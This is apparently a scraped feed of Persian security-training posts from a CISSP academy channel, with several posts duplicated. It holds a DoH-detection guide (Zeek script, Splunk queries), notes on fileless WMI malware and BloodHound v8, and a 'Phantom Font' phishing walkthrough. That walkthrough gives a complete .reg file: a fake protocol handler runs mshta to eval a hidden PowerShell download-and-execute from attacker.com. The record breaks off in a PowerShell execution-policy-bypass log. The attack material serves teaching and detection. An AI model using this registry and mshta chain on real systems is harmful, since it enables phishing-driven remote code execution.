راهنمای جامع تشخیص ترافیک DoH (DNS-over-HTTPS) با استفاده از Zeek و Splunk Stream
ترافیک DNS-over-HTTPS (DoH) با رمزگذاری درخواستهای DNS درون ترافیک وب HTTPS، نظارت و کنترل سنتی بر DNS را برای تیمهای امنیتی به یک چالش جدی تبدیل کرده است. بدافزارها، ابزارهای نفوذ و حتی مرورگرهای استاندارد از این تکنیک برای دور زدن سیاستهای امنیتی و پنهان کردن فعالیتهای خود استفاده میکنند. این راهنما به صورت جامع به شما نشان میدهد چگونه با استفاده از دو ابزار قدرتمند Zeek و Splunk Stream این ترافیک پنهان را شناسایی کنید.
اصول کلیدی شناسایی ترافیک DoH
قبل از پرداختن به ابزارها، باید بدانیم به دنبال چه سرنخهایی هستیم. شناسایی موفق DoH بر پایهی ترکیبی از شاخصهای زیر استوار است:
1. سرورهای مقصد شناختهشده: اتصال به IPها یا دامنههایی که به عنوان ارائهدهندهی عمومی DoH شناخته میشوند (مانند Cloudflare, Google, Quad9).
2. پورت استاندارد: ترافیک DoH تقریباً همیشه از پورت استاندارد HTTPS یعنی 443/tcp استفاده میکند.
3. مسیر URI خاص: درخواستهای DoH معمولاً به مسیرهای URI مشخصی مانند /dns-query یا /resolve ارسال میشوند.
4. هدرهای HTTP: وجود هدر Content-Type: application/dns-message در درخواستهای POST یک شاخص بسیار قوی است.
5. متادیتای TLS:
و SNI نام دامنهای که کلاینت قصد اتصال به آن را دارد و حتی در ترافیک رمزگذاریشده نیز قابل مشاهده است.
فینگرپرینت JA3/JA3S: اثر انگشت منحصر به فرد کلاینت و سرور TLS که میتواند برای شناسایی ابزارها یا بدافزارهای خاص استفاده شود.
بخش اول: تشخیص DoH با Zeek
و Zeek با تحلیل عمیق پروتکلها، ابزاری ایدهآل برای این کار است. به جای تکیه بر اسکریپتهای آماده، بهترین رویکرد، ایجاد یک اسکریپت سفارشی برای تولید لاگهای ساختاریافته و اختصاصی است.
رویکرد حرفهای: ایجاد لاگ اختصاصی doh.log
این رویکرد به جای چاپ خروجی در کنسول، یک فایل لاگ جداگانه و تمیز به نام doh.log ایجاد میکند که تحلیل و یکپارچهسازی آن با سایر ابزارها (مانند SIEM) را بسیار آسان میسازد.
اسکریپت detect-doh.zeek:
این اسکریپت را در مسیر
# file: site/detect-doh.zeek
1. تعریف ماژول و ساختار لاگ اختصاصی
module DOH;
export {
تعریف نوع داده برای نگهداری اطلاعات رویداد DoH
type Info: record {
ts: time &log; زمان دقیق رویداد
uid: string &log; شناسه یکتای اتصال برای ارتباط با سایر لاگها
id: conn_id &log; اطلاعات کامل اتصال (IPها و پورتها)
method: string &log; متد HTTP (GET/POST)
host: string &log &optional; هدر هاست از درخواست HTTP
uri: string &log; URI کامل درخواست
user_agent: string &log &optional; User-Agent کلاینت
ja3: string &log &optional; فینگرپرینت TLS کلاینت (از ssl.log)
};
2. ایجاد یک جریان لاگ جدید به نام doh.log
const log_file = "doh.log";
global log_stream: Log::Stream = Log::create_stream(DOH::log_file, [$columns=Info]);
}
3. پردازش رویدادهای HTTP برای شناسایی الگو
event http_request(c: connection, method: string, original_URI: string, unescaped_URI: string, version: string)
{
# شرط اصلی: پورت 443 و URIهای شناختهشده
if ( c$id$resp_p == 443/tcp &&
( "/dns-query" in unescaped_URI || "/resolve" in unescaped_URI ) )
{
# ساختن رکورد لاگ با اطلاعات استخراج شده
local doh_info: Info;
doh_info$ts = network_time();
doh_info$uid = c$uid;
doh_info$id = c$id;
doh_info$method = method;
doh_info$host = c$http$host;
doh_info$uri = unescaped_URI;
doh_info$user_agent = c$http$user_agent;
# اگر اتصال TLS بوده، فینگرپرینت JA3 را اضافه کن
if ( c$ssl?$ja3 ) {
doh_info$ja3 = c$ssl$ja3;
}
4. نوشتن رکورد نهایی در فایل doh.log
Log::write(DOH::log_stream, doh_info);
}
}
بخش دوم: تشخیص DoH با Splunk Stream
انتهای بخش اول
آکادمی روزبه
دوره CISSP
واتس اپ و بله 09902857290
ترافیک DNS-over-HTTPS (DoH) با رمزگذاری درخواستهای DNS درون ترافیک وب HTTPS، نظارت و کنترل سنتی بر DNS را برای تیمهای امنیتی به یک چالش جدی تبدیل کرده است. بدافزارها، ابزارهای نفوذ و حتی مرورگرهای استاندارد از این تکنیک برای دور زدن سیاستهای امنیتی و پنهان کردن فعالیتهای خود استفاده میکنند. این راهنما به صورت جامع به شما نشان میدهد چگونه با استفاده از دو ابزار قدرتمند Zeek و Splunk Stream این ترافیک پنهان را شناسایی کنید.
اصول کلیدی شناسایی ترافیک DoH
قبل از پرداختن به ابزارها، باید بدانیم به دنبال چه سرنخهایی هستیم. شناسایی موفق DoH بر پایهی ترکیبی از شاخصهای زیر استوار است:
1. سرورهای مقصد شناختهشده: اتصال به IPها یا دامنههایی که به عنوان ارائهدهندهی عمومی DoH شناخته میشوند (مانند Cloudflare, Google, Quad9).
2. پورت استاندارد: ترافیک DoH تقریباً همیشه از پورت استاندارد HTTPS یعنی 443/tcp استفاده میکند.
3. مسیر URI خاص: درخواستهای DoH معمولاً به مسیرهای URI مشخصی مانند /dns-query یا /resolve ارسال میشوند.
4. هدرهای HTTP: وجود هدر Content-Type: application/dns-message در درخواستهای POST یک شاخص بسیار قوی است.
5. متادیتای TLS:
و SNI نام دامنهای که کلاینت قصد اتصال به آن را دارد و حتی در ترافیک رمزگذاریشده نیز قابل مشاهده است.
فینگرپرینت JA3/JA3S: اثر انگشت منحصر به فرد کلاینت و سرور TLS که میتواند برای شناسایی ابزارها یا بدافزارهای خاص استفاده شود.
بخش اول: تشخیص DoH با Zeek
و Zeek با تحلیل عمیق پروتکلها، ابزاری ایدهآل برای این کار است. به جای تکیه بر اسکریپتهای آماده، بهترین رویکرد، ایجاد یک اسکریپت سفارشی برای تولید لاگهای ساختاریافته و اختصاصی است.
رویکرد حرفهای: ایجاد لاگ اختصاصی doh.log
این رویکرد به جای چاپ خروجی در کنسول، یک فایل لاگ جداگانه و تمیز به نام doh.log ایجاد میکند که تحلیل و یکپارچهسازی آن با سایر ابزارها (مانند SIEM) را بسیار آسان میسازد.
اسکریپت detect-doh.zeek:
این اسکریپت را در مسیر
site/ یا local.zeek خود بارگذاری کنید.# file: site/detect-doh.zeek
1. تعریف ماژول و ساختار لاگ اختصاصی
module DOH;
export {
تعریف نوع داده برای نگهداری اطلاعات رویداد DoH
type Info: record {
ts: time &log; زمان دقیق رویداد
uid: string &log; شناسه یکتای اتصال برای ارتباط با سایر لاگها
id: conn_id &log; اطلاعات کامل اتصال (IPها و پورتها)
method: string &log; متد HTTP (GET/POST)
host: string &log &optional; هدر هاست از درخواست HTTP
uri: string &log; URI کامل درخواست
user_agent: string &log &optional; User-Agent کلاینت
ja3: string &log &optional; فینگرپرینت TLS کلاینت (از ssl.log)
};
2. ایجاد یک جریان لاگ جدید به نام doh.log
const log_file = "doh.log";
global log_stream: Log::Stream = Log::create_stream(DOH::log_file, [$columns=Info]);
}
3. پردازش رویدادهای HTTP برای شناسایی الگو
event http_request(c: connection, method: string, original_URI: string, unescaped_URI: string, version: string)
{
# شرط اصلی: پورت 443 و URIهای شناختهشده
if ( c$id$resp_p == 443/tcp &&
( "/dns-query" in unescaped_URI || "/resolve" in unescaped_URI ) )
{
# ساختن رکورد لاگ با اطلاعات استخراج شده
local doh_info: Info;
doh_info$ts = network_time();
doh_info$uid = c$uid;
doh_info$id = c$id;
doh_info$method = method;
doh_info$host = c$http$host;
doh_info$uri = unescaped_URI;
doh_info$user_agent = c$http$user_agent;
# اگر اتصال TLS بوده، فینگرپرینت JA3 را اضافه کن
if ( c$ssl?$ja3 ) {
doh_info$ja3 = c$ssl$ja3;
}
4. نوشتن رکورد نهایی در فایل doh.log
Log::write(DOH::log_stream, doh_info);
}
}
تحلیل خروجی
پس از اجرای Zeek با این اسکریپت، فایل logs/current/doh.log شما حاوی رکوردهایی ساختاریافته خواهد بود. شما میتوانید با استفاده از فیلد uid، هر رویداد DoH را به لاگهای دیگر مانند ssl.log (برای تحلیل عمیق TLS) و conn.log` (برای مشاهده حجم داده و مدت زمان اتصال) مرتبط کنید.بخش دوم: تشخیص DoH با Splunk Stream
انتهای بخش اول
آکادمی روزبه
دوره CISSP
واتس اپ و بله 09902857290
❤8
قسمت دوم
وSplunk Stream میتواند ترافیک شبکه را به صورت زنده تحلیل و دادههای ارزشمندی استخراج کند. نکته کلیدی در اینجا، آگاهی از وضعیت رمزگشایی TLS است.
پیشنیاز کلیدی: وضعیت رمزگشایی ترافیک TLS
* اگر رمزگشایی TLS فعال است:شما به محتوای کامل HTTP (مانند uri_path) دسترسی دارید.
* اگر رمزگشایی TLS فعال نیست (سناریوی رایج): شما نمیتوانید محتوای HTTP را ببینید، اما همچنان به متادیتای بسیار ارزشمند TLS دسترسی دارید.
روش ۱: جستجو در ترافیک رمزگشاییشده (مبتنی بر HTTP)
این کوئری زمانی کار میکند که Splunk Stream قادر به دیدن محتوای ترافیک HTTPS باشد.
sourcetype=stream:http dest_port=443 (uri_path="/dns-query" OR uri_path="/resolve")
| stats count by src_ip, dest_ip, uri_path, http_method, user_agent, ja3
| sort - count
* نکته: لیست
* فیلدهای
روش ۳: کوئری ترکیبی برای حداکثر دقت
این کوئری هر دو روش بالا را ترکیب میکند تا جامعترین دید را ارائه دهد و احتمال خطا را کاهش دهد.
(sourcetype=stream:http dest_port=443 (uri_path="/dns-query" OR uri_path="/resolve")) OR
(sourcetype=stream:tls dest_port=443 server_name IN ("*.cloudflare-dns.com", "dns.google", "*.quad9.net"))
| stats values(uri_path) as uri_paths, values(http_method) as methods, count by src_ip, dest_ip, server_name, ja3, user_agent
| sort - count
3. از JA3 برای شناسایی ابزارها استفاده کنید: فینگرپرینتهای JA3 میتوانند به شما بگویند آیا ترافیک DoH از یک مرورگر استاندارد (مثلاً Firefox) نشأت میگیرد یا از یک ابزار ناشناخته یا مخرب.
4. ایجاد خط پایه (Baseline): رفتار عادی DoH در شبکه خود را بشناسید. افزایش ناگهانی یا ظهور کلاینتهای جدید DoH میتواند یک زنگ خطر باشد.
با به کارگیری این راهنمای جامع، شما قادر خواهید بود دید کاملی بر این نقطه کور امنیتی پیدا کرده و به طور موثرتری از شبکه خود محافظت کنید.
دوره CISSP
واتس اپ و بله 09902857290
وSplunk Stream میتواند ترافیک شبکه را به صورت زنده تحلیل و دادههای ارزشمندی استخراج کند. نکته کلیدی در اینجا، آگاهی از وضعیت رمزگشایی TLS است.
پیشنیاز کلیدی: وضعیت رمزگشایی ترافیک TLS
* اگر رمزگشایی TLS فعال است:شما به محتوای کامل HTTP (مانند uri_path) دسترسی دارید.
* اگر رمزگشایی TLS فعال نیست (سناریوی رایج): شما نمیتوانید محتوای HTTP را ببینید، اما همچنان به متادیتای بسیار ارزشمند TLS دسترسی دارید.
روش ۱: جستجو در ترافیک رمزگشاییشده (مبتنی بر HTTP)
این کوئری زمانی کار میکند که Splunk Stream قادر به دیدن محتوای ترافیک HTTPS باشد.
sourcetype=stream:http dest_port=443 (uri_path="/dns-query" OR uri_path="/resolve")
| stats count by src_ip, dest_ip, uri_path, http_method, user_agent, ja3
| sort - count
روش ۲: استفاده از متادیتای TLS (رویکرد پیشنهادی و واقعگرایانه)
این روش نیازی به رمزگشایی ترافیک ندارد و با تحلیل فیلد SNI (server_name`) در هندشیک TLS کار میکند. این روش بسیار قابل اعتمادتر است.
sourcetype=stream:tls dest_port=443 server_name IN ("*.cloudflare-dns.com", "dns.google", "mozilla.cloudflare-dns.com", "doh.opendns.com", "dns.quad9.net")
| stats count, dc(src_ip) as distinct_clients by server_name, dest_ip, ja3, ja3s
| rename server_name as DOH_Provider
| sort - count
* نکته: لیست
IN (...) را باید بهروز نگه دارید.* فیلدهای
ja3 و ja3s به شما در شناسایی کلاینتها (مرورگرها یا بدافزارها) کمک میکنند.روش ۳: کوئری ترکیبی برای حداکثر دقت
این کوئری هر دو روش بالا را ترکیب میکند تا جامعترین دید را ارائه دهد و احتمال خطا را کاهش دهد.
(sourcetype=stream:http dest_port=443 (uri_path="/dns-query" OR uri_path="/resolve")) OR
(sourcetype=stream:tls dest_port=443 server_name IN ("*.cloudflare-dns.com", "dns.google", "*.quad9.net"))
| stats values(uri_path) as uri_paths, values(http_method) as methods, count by src_ip, dest_ip, server_name, ja3, user_agent
| sort - count
جمعبندی و استراتژی نهایی
شناسایی ترافیک DoH یک بازی "همه یا هیچ" نیست، بلکه یک فرآیند مبتنی بر تجمیع شواهد است.
1. با روشهای با دقت بالا شروع کنید: جستجو بر اساس لیست دامنههای DoH شناختهشده (server_name در Splunk یا host در Zeek) کمترین میزان هشدارهای کاذب را دارد.
2. از شاخصهای عمومیتر برای کشف موارد ناشناخته استفاده کنید: الگوهایی مانند uri_path="/dns-query"` میتوانند سرویسهای DoH جدید یا خصوصی را کشف کنند.3. از JA3 برای شناسایی ابزارها استفاده کنید: فینگرپرینتهای JA3 میتوانند به شما بگویند آیا ترافیک DoH از یک مرورگر استاندارد (مثلاً Firefox) نشأت میگیرد یا از یک ابزار ناشناخته یا مخرب.
4. ایجاد خط پایه (Baseline): رفتار عادی DoH در شبکه خود را بشناسید. افزایش ناگهانی یا ظهور کلاینتهای جدید DoH میتواند یک زنگ خطر باشد.
با به کارگیری این راهنمای جامع، شما قادر خواهید بود دید کاملی بر این نقطه کور امنیتی پیدا کرده و به طور موثرتری از شبکه خود محافظت کنید.
دوره CISSP
واتس اپ و بله 09902857290
❤6
مثالهایی که باهاشون درگیر بودم :
بدافزارهایی هستن که کامل توی رم اجرا میشن و هیچ اثری از خودشون رو دیسک باقی نمیذارن. اما یه سطح بالاترش هم هست—بدافزاری که با استفاده از WMI (Windows Management Instrumentation) نه تنها فایل نمیسازه، بلکه کد خودش رو به صورت اسکریپت (مثلاً PowerShell) توی property یه کلاس WMI ذخیره میکنه!
بعد فقط با یه Query به WMI، اون کد اجرا میشه و هیچ ردپایی توی پروسههای عادی وجود نداره.
تصور کن حتی با جستوجو در پروسهها و فایلها هم چیزی پیدا نمیکنی، چون کد مخرب فقط وقتی Query خاص اجرا بشه از دل WMI بیرون میاد!
تنها راه کشفش اینه که ریجستری و دیتابیس WMI رو مستقیم برای Payloadهای مشکوک اسکن کنی که خیلی از آنتیویروسها یا حتی تحلیلگرها بهش دقت نمیکنن.
✅️شروع دوره CISSP تاریخ ۳۰ مرداد
آخرین مهلت برای استفاده از تخفیف ۳۰ درصدی تاریخ ۲۰ مرداد
واتس اپ و بله 09902857290
Www.haumoun.com
بدافزارهایی هستن که کامل توی رم اجرا میشن و هیچ اثری از خودشون رو دیسک باقی نمیذارن. اما یه سطح بالاترش هم هست—بدافزاری که با استفاده از WMI (Windows Management Instrumentation) نه تنها فایل نمیسازه، بلکه کد خودش رو به صورت اسکریپت (مثلاً PowerShell) توی property یه کلاس WMI ذخیره میکنه!
بعد فقط با یه Query به WMI، اون کد اجرا میشه و هیچ ردپایی توی پروسههای عادی وجود نداره.
تصور کن حتی با جستوجو در پروسهها و فایلها هم چیزی پیدا نمیکنی، چون کد مخرب فقط وقتی Query خاص اجرا بشه از دل WMI بیرون میاد!
تنها راه کشفش اینه که ریجستری و دیتابیس WMI رو مستقیم برای Payloadهای مشکوک اسکن کنی که خیلی از آنتیویروسها یا حتی تحلیلگرها بهش دقت نمیکنن.
✅️شروع دوره CISSP تاریخ ۳۰ مرداد
آخرین مهلت برای استفاده از تخفیف ۳۰ درصدی تاریخ ۲۰ مرداد
واتس اپ و بله 09902857290
Www.haumoun.com
👍5🔥3
میتوان با یادگارهایی که به جا میگذاریم کاری کنیم در یادها بمانیم و طولانی تر زنده باشیم
پس در نشر دانش کوشا باشید
پس در نشر دانش کوشا باشید
👍7❤3
لینک زیر نسخه 8.0 را یک تغییر بنیادی برای BloodHound معرفی میکند که هدف آن تبدیل این ابزار از یک تحلیلگر مسیرهای حمله در Active Directory به یک پلتفرم جامع مدیریت ریسک هویتی (Identity Risk Management) در کل سازمان است.
مفهوم اصلی: چرا OpenGraph؟
مقاله توضیح میدهد که با پیچیدهتر شدن محیطهای سازمانی، هویتها (کاربران، سرویسها و…) و دسترسیهای آنها دیگر فقط به Active Directory محدود نمیشوند. امروزه یک هویت ممکن است به سیستمهای زیر دسترسی داشته باشد:
محیطهای ابری (مثل AWS, Azure, GCP)
پلتفرمهای داده (مثل Snowflake)
ابزارهای توسعه (مثل GitHub, Jenkins)
سیستمهای SaaS (مثل Salesforce)
مشکل اینجا بود که نسخه های قبلی BloodHound فقط میتوانستند روابط و دسترسیها را در محیط مایکروسافت (AD/Entra ID) ببینند و از خطرات موجود در این پلتفرمهای دیگر بیخبر بودند. این یعنی یک تصویر ناقص از ریسکهای واقعی سازمان به دست میآمد.
این OpenGraph راهحل این مشکل است. این یک معماری جدید است که به BloodHound اجازه میدهد:
دریافت داده از هر منبعی: میتواند دادههای مربوط به هویت و دسترسی را از هر پلتفرمی (GitHub, Snowflake, SQL Server و غیره) دریافت و تحلیل کند.
ایجاد مدل تهدید سفارشی: به سازمانها اجازه میدهد تا مدل داده و روابط خاص خودشان را تعریف کنند. مثلاً میتوان تعریف کرد که یک “کاربر” در GitHub چگونه به یک “مخزن کد (Repository)” دسترسی “Admin” دارد.
تحلیل جامع ریسک: با ترکیب دادههای تمام این سیستمها، BloodHound v8.0 یک نقشه کامل از تمام مسیرهای حمله ممکن در کل سازمان ارائه میدهد، نه فقط در یک بخش آن.
https://specterops.io/blog/2025/07/29/bloodhound-v8-usability-extensibility-and-opengraph/
مفهوم اصلی: چرا OpenGraph؟
مقاله توضیح میدهد که با پیچیدهتر شدن محیطهای سازمانی، هویتها (کاربران، سرویسها و…) و دسترسیهای آنها دیگر فقط به Active Directory محدود نمیشوند. امروزه یک هویت ممکن است به سیستمهای زیر دسترسی داشته باشد:
محیطهای ابری (مثل AWS, Azure, GCP)
پلتفرمهای داده (مثل Snowflake)
ابزارهای توسعه (مثل GitHub, Jenkins)
سیستمهای SaaS (مثل Salesforce)
مشکل اینجا بود که نسخه های قبلی BloodHound فقط میتوانستند روابط و دسترسیها را در محیط مایکروسافت (AD/Entra ID) ببینند و از خطرات موجود در این پلتفرمهای دیگر بیخبر بودند. این یعنی یک تصویر ناقص از ریسکهای واقعی سازمان به دست میآمد.
این OpenGraph راهحل این مشکل است. این یک معماری جدید است که به BloodHound اجازه میدهد:
دریافت داده از هر منبعی: میتواند دادههای مربوط به هویت و دسترسی را از هر پلتفرمی (GitHub, Snowflake, SQL Server و غیره) دریافت و تحلیل کند.
ایجاد مدل تهدید سفارشی: به سازمانها اجازه میدهد تا مدل داده و روابط خاص خودشان را تعریف کنند. مثلاً میتوان تعریف کرد که یک “کاربر” در GitHub چگونه به یک “مخزن کد (Repository)” دسترسی “Admin” دارد.
تحلیل جامع ریسک: با ترکیب دادههای تمام این سیستمها، BloodHound v8.0 یک نقشه کامل از تمام مسیرهای حمله ممکن در کل سازمان ارائه میدهد، نه فقط در یک بخش آن.
https://specterops.io/blog/2025/07/29/bloodhound-v8-usability-extensibility-and-opengraph/
SpecterOps
BloodHound v8: Usability, Extensibility, and OpenGraph - SpecterOps
Explain BloodHound v8 features and benefits to users and customers. Highlight new capabilities.
❤1
شما نمیتوانید در آزمون CISSP موفق شوید مگر آنکه Cover to cover کتاب رو بخونید
هیییییچ راه میانبری برای موفقیت وجود ندارد
درد باید کشید شب نخوابی باید داشت
هیییییچ راه میانبری برای موفقیت وجود ندارد
درد باید کشید شب نخوابی باید داشت
👏6🙏3
سناریوی جذاب امشب : "فونت شبح" (The Phantom Font Attack)
این سناریو mshta.exe را با تکنیکهای دیگری ترکیب میکند تا یک حمله تقریباً نامرئی و بدون فایل (Fileless) ایجاد کند که حتی ممکن است برخی از سیستمهای EDR (Endpoint Detection and Response) را به چالش بکشد.
هدف مهاجم: اجرای کد مخرب روی سیستم قربانی (مثلاً یک کارمند در یک شرکت بزرگ) بدون اینکه هیچ فایل اجرایی یا اسکریپت مشکوکی روی دیسک ذخیره شود و با دور زدن سیاستهای محدودکننده اسکریپت.
مرحله ۱: طعمه و نفوذ اولیه (The Lure)
مهاجم یک ایمیل فیشینگ بسیار هوشمندانه برای قربانی ارسال میکند. محتوای ایمیل، یک سند طراحی یا گزارش برندینگ از طرف "تیم بازاریابی" است. در ایمیل نوشته شده:
سلام، لطفاً پیشنویس گزارش برندینگ Q3 را بررسی کنید. توجه: برای مشاهده صحیح گزارش، باید فونت مخصوص شرکت ما که در لینک زیر قرار دارد را نصب کنید. بدون این فونت، سند به هم ریخته نمایش داده میشود. با تشکر.
لینک ارائه شده در ایمیل به نظر یک لینک دانلود فونت است، مثلاً https://branding-assets.com/fonts/download.php?font=CorpSans.ttf.
مرحله ۲: سوءاستفاده از رجیستری ویندوز (The Registry Trick)
اینجاست که سناریو عجیب میشود. قربانی روی لینک کلیک میکند. اما سرور مهاجم به جای یک فایل فونت (.ttf)، یک فایل با پسوند .reg برای او ارسال میکند. بسیاری از کارمندان ممکن است ندانند فایل .reg چیست و با دیدن پیغام ویندوز مبنی بر "اضافه کردن اطلاعات به رجیستری" (Add information to the registry)، دکمه Yes را بزنند، با این تصور که در حال نصب فونت هستند.
این فایل .reg یک تغییر کوچک اما حیاتی در رجیستری ویندوز ایجاد میکند. این فایل یک "Protocol Handler" سفارشی برای یک پروتکل ساختگی به نام fontview:// تعریف میکند.
محتوای فایل .reg چیزی شبیه به این است:
[HKEY_CLASSES_ROOT\fontview]
@="URL:FontView Protocol"
"URL Protocol"=""
[HKEY_CLASSES_ROOT\fontview\shell]
[HKEY_CLASSES_ROOT\fontview\shell\open]
[HKEY_CLASSES_ROOT\fontview\shell\open\command]
@="mshta.exe \"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\PhantomFont\\\\Payload'));window.close();\""
چه اتفاقی افتاد؟
این فایل به ویندوز میگوید: "از این به بعد، هر لینکی که با fontview:// شروع شود را با mshta.exe باز کن و این دستور جاوا اسکریپت را اجرا کن."
مرحله ۳: اجرای بدون فایل از طریق رجیستری (The Fileless Execution)
پس از اینکه قربانی فایل .reg را اجرا کرد، صفحه وب مهاجم (که قربانی از آن فایل را "دانلود" کرده بود) به صورت خودکار به یک URL جدید ریدایرکت میشود:
fontview://load
ویندوز با دیدن این لینک، بلافاصله mshta.exe را طبق دستوری که در رجیستری ثبت شده، فراخوانی میکند. حالا mshta.exe دستور جاوا اسکریپت زیر را اجرا میکند:
javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\PhantomFont\\Payload'));window.close();
این دستور به mshta میگوید:
1. به رجیستری ویندوز در مسیر
2. مقداری به نام Payload را از آنجا بخوان.
3. محتوای خوانده شده را به عنوان کد جاوا اسکریپت اجرا کن (eval).
4. بلافاصله پنجره mshta.exe را ببند (
اما صبر کنید، مقدار Payload از کجا آمده؟ مهاجم آن را همزمان با تعریف Protocol Handler در همان فایل .reg اولیه در رجیستری ذخیره کرده است!
بنابراین، فایل .reg کامل چیزی شبیه این بوده:
[HKEY_CLASSES_ROOT\fontview]
@="URL:FontView Protocol"
"URL Protocol"=""
... (بقیه دستورات Protocol Handler) ...
[HKEY_CURRENT_USER\Software\PhantomFont]
"Payload"="var sh = new ActiveXObject('WScript.Shell'); sh.Run('powershell -nop -w hidden -c \\"IEX ((new-object net.webclient).downloadstring(\\'http://attacker.com/stage2.ps1\\'))\\"', 0, false);"
این مقدار Payload یک کد PowerShell است که از سرور مهاجم یک اسکریپت دیگر (مثلاً یک Cobalt Strike Beacon) را دانلود و در حافظه (memory) اجرا میکند.
این سناریو نشان میدهد که چگونه یک ابزار به ظاهر ساده مانند mshta.exe میتواند به عنوان یک قطعه کلیدی در یک زنجیره حمله بسیار پیچیده و پنهانکارانه عمل کند.
توضیح :
اینfontview:// یک پروتکل جعلی است و پروتکل هندلر آن، دستوری است که مهاجم در رجیستری ویندوز کاشته تا به ویندوز بگوید با این پروتکل جعلی چه کار کند؛ که در این سناریو، اجرای mshta.exe برای اهداف مخرب است.
این سناریو mshta.exe را با تکنیکهای دیگری ترکیب میکند تا یک حمله تقریباً نامرئی و بدون فایل (Fileless) ایجاد کند که حتی ممکن است برخی از سیستمهای EDR (Endpoint Detection and Response) را به چالش بکشد.
هدف مهاجم: اجرای کد مخرب روی سیستم قربانی (مثلاً یک کارمند در یک شرکت بزرگ) بدون اینکه هیچ فایل اجرایی یا اسکریپت مشکوکی روی دیسک ذخیره شود و با دور زدن سیاستهای محدودکننده اسکریپت.
مرحله ۱: طعمه و نفوذ اولیه (The Lure)
مهاجم یک ایمیل فیشینگ بسیار هوشمندانه برای قربانی ارسال میکند. محتوای ایمیل، یک سند طراحی یا گزارش برندینگ از طرف "تیم بازاریابی" است. در ایمیل نوشته شده:
سلام، لطفاً پیشنویس گزارش برندینگ Q3 را بررسی کنید. توجه: برای مشاهده صحیح گزارش، باید فونت مخصوص شرکت ما که در لینک زیر قرار دارد را نصب کنید. بدون این فونت، سند به هم ریخته نمایش داده میشود. با تشکر.
لینک ارائه شده در ایمیل به نظر یک لینک دانلود فونت است، مثلاً https://branding-assets.com/fonts/download.php?font=CorpSans.ttf.
مرحله ۲: سوءاستفاده از رجیستری ویندوز (The Registry Trick)
اینجاست که سناریو عجیب میشود. قربانی روی لینک کلیک میکند. اما سرور مهاجم به جای یک فایل فونت (.ttf)، یک فایل با پسوند .reg برای او ارسال میکند. بسیاری از کارمندان ممکن است ندانند فایل .reg چیست و با دیدن پیغام ویندوز مبنی بر "اضافه کردن اطلاعات به رجیستری" (Add information to the registry)، دکمه Yes را بزنند، با این تصور که در حال نصب فونت هستند.
این فایل .reg یک تغییر کوچک اما حیاتی در رجیستری ویندوز ایجاد میکند. این فایل یک "Protocol Handler" سفارشی برای یک پروتکل ساختگی به نام fontview:// تعریف میکند.
محتوای فایل .reg چیزی شبیه به این است:
[HKEY_CLASSES_ROOT\fontview]
@="URL:FontView Protocol"
"URL Protocol"=""
[HKEY_CLASSES_ROOT\fontview\shell]
[HKEY_CLASSES_ROOT\fontview\shell\open]
[HKEY_CLASSES_ROOT\fontview\shell\open\command]
@="mshta.exe \"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\PhantomFont\\\\Payload'));window.close();\""
چه اتفاقی افتاد؟
این فایل به ویندوز میگوید: "از این به بعد، هر لینکی که با fontview:// شروع شود را با mshta.exe باز کن و این دستور جاوا اسکریپت را اجرا کن."
مرحله ۳: اجرای بدون فایل از طریق رجیستری (The Fileless Execution)
پس از اینکه قربانی فایل .reg را اجرا کرد، صفحه وب مهاجم (که قربانی از آن فایل را "دانلود" کرده بود) به صورت خودکار به یک URL جدید ریدایرکت میشود:
fontview://load
ویندوز با دیدن این لینک، بلافاصله mshta.exe را طبق دستوری که در رجیستری ثبت شده، فراخوانی میکند. حالا mshta.exe دستور جاوا اسکریپت زیر را اجرا میکند:
javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\Software\\PhantomFont\\Payload'));window.close();
این دستور به mshta میگوید:
1. به رجیستری ویندوز در مسیر
HKCU\Software\PhantomFont برو.2. مقداری به نام Payload را از آنجا بخوان.
3. محتوای خوانده شده را به عنوان کد جاوا اسکریپت اجرا کن (eval).
4. بلافاصله پنجره mshta.exe را ببند (
window.close()) تا هیچ اثری روی صفحه باقی نماند.اما صبر کنید، مقدار Payload از کجا آمده؟ مهاجم آن را همزمان با تعریف Protocol Handler در همان فایل .reg اولیه در رجیستری ذخیره کرده است!
بنابراین، فایل .reg کامل چیزی شبیه این بوده:
[HKEY_CLASSES_ROOT\fontview]
@="URL:FontView Protocol"
"URL Protocol"=""
... (بقیه دستورات Protocol Handler) ...
[HKEY_CURRENT_USER\Software\PhantomFont]
"Payload"="var sh = new ActiveXObject('WScript.Shell'); sh.Run('powershell -nop -w hidden -c \\"IEX ((new-object net.webclient).downloadstring(\\'http://attacker.com/stage2.ps1\\'))\\"', 0, false);"
`این مقدار Payload یک کد PowerShell است که از سرور مهاجم یک اسکریپت دیگر (مثلاً یک Cobalt Strike Beacon) را دانلود و در حافظه (memory) اجرا میکند.
این سناریو نشان میدهد که چگونه یک ابزار به ظاهر ساده مانند mshta.exe میتواند به عنوان یک قطعه کلیدی در یک زنجیره حمله بسیار پیچیده و پنهانکارانه عمل کند.
توضیح :
اینfontview:// یک پروتکل جعلی است و پروتکل هندلر آن، دستوری است که مهاجم در رجیستری ویندوز کاشته تا به ویندوز بگوید با این پروتکل جعلی چه کار کند؛ که در این سناریو، اجرای mshta.exe برای اهداف مخرب است.
Attacker
Attacker - The Domain Name Attacker.com is Now For Sale.
Attacker.com is now for sale, lease or rent. Smart domain names compound conversion rates and this domain name for Attacker marketing is a wise investment.
🙏4❤3👌3
زغوغای جهان فارق
غور در لاگ :
زمان: T0 (10:30:15 AM)
منبع: Windows Security Log (Event ID 4688 - A new process has been created)
{
"EventID": 4688,
"SubjectUserName": "jsmith",
"ProcessName": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"ParentProcessName": "C:\\Windows\\System32\\explorer.exe",
"CommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -ExecutionPolicy Bypass -File \"\\\\192.168.1.100\\share\\Invoke-Stage.ps1\""
}
زمان: T1 (10:30:17 AM)
منبع: Sysmon (Event ID 10 - ProcessAccess)
{
"EventID": 10,
"UtcTime": "2023-10-27 10:30:17.580",
"SourceProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
"SourceImage": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"TargetProcessGUID": "{b4d1a2e3-f6a8-653b-0000-0010c3b4d20f}",
